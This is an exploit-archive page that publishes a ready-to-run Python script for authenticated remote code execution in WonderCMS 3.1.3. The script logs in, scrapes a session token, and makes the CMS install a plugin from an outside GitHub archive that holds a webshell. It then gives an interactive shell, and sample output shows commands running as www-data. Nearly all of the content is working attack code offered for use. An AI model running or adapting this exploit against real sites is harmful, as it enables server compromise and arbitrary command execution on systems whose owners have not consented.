exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WonderCMS 3.1.3 Remote Code Execution

WonderCMS 3.1.3 Remote Code Execution
Posted Dec 2, 2020
Authored by zetc0de

WonderCMS version 3.1.3 suffers from an authenticated remote code execution vulnerability.

tags | exploit, remote, code execution
SHA-256 | 09b8e41fb0a82f2d2ef29e2aa308db43a52c99cd202761dfd2ca36db7d3b27af

WonderCMS 3.1.3 Remote Code Execution

Change Mirror Download
# Exploit Title: WonderCMS 3.1.3 - Authenticated Remote Code Execution
# Date: 2020-11-27
# Exploit Author: zetc0de
# Vendor Homepage: https://www.wondercms.com/
# Software Link: https://github.com/robiso/wondercms/releases/download/3.1.3/WonderCMS-3.1.3.zip
# Version: 3.1.3
# Tested on: Ubuntu 16.04
# CVE : N/A


# WonderCMS is vulnerable to Authenticated Remote Code Execution.
# In order to exploit the vulnerability, an attacker must have a valid authenticated session on the CMS.
# Using the theme/plugin installer attacker can install crafted plugin that contain a webshell and get RCE.

# python3 exploit.py http://wonder.com/loginURL GpIyq0RH
# -------------
# [+] Getting Token
# [+] Sending Payload
# [+] Get the shell
# [+] Enjoy!
# $id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

import requests
import sys
import re
from bs4 import BeautifulSoup
from termcolor import colored


print(colored('''

\ \ /_ \ \ | _ \ __| _ \ __| \ | __|
\ \ \ /( |. | | |_| / ( |\/ |\__ \
\_/\_/\___/_|\_|___/___|_|_\\___|_| _|____/

------[ Auth Remote Code Execution ]------
''',"blue"))

if len(sys.argv) != 3:
print(colored("[-] Usage : ./wonder.py loginURL password","red"))
exit()

loginURL = sys.argv[1]
password = sys.argv[2]

r = requests.session()
data = { "password" : password }
page = r.post(loginURL,data)
if "Wrong" in page.text:
print(colored("[!] Exploit Failed : Wrong Credential","red"))
exit()

print(colored("[+] Getting Token","blue"))
soup = BeautifulSoup(page.text, "html.parser")

allscript = soup.find_all("script")
no = 0
for i in allscript:
if "rootURL" in str(i):
url = i.string.split("=")[1].replace('"','').strip(";").lstrip(" ")
elif "token" in str(i):
token = i.string.split("=")[1].replace('"','').strip(";").lstrip(" ")

payload = "https://github.com/zetc0de/wonderplugin/archive/master.zip"

def sendPayload(req,url,payload,token):
getShell = url + "?installThemePlugin=" + payload + "&type=plugins&token=" + token
req.get(getShell)
shell = url + "plugins/wonderplugin/evil.php"
checkshell = req.get(shell)
if "1337" in checkshell.text:
return True
else:
return False

print(colored("[+] Sending Payload","blue"))
shell = sendPayload(r,url,payload,token)


if shell == True:
print(colored("[+] Get the shell","blue"))
print(colored("[+] Enjoy!","blue"))
shell = url + "plugins/wonderplugin/evil.php"
while True:
cmd = input("$")
data = { "cmd" : cmd }

res = r.post(shell,data)
if res.status_code == 200:
print(res.text)
elif shell == False:
print(colored("[+] Get the shell","blue"))
print(colored("[+] Enjoy!","blue"))
shell = url + "plugins/wonderplugin-master/evil.php"
while True:
cmd = input("$")
data = { "cmd" : cmd }
res = r.post(shell,data)
if res.status_code == 200:
print(res.text)
else:
print(colored("[!] Failed to exploit","red"))

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close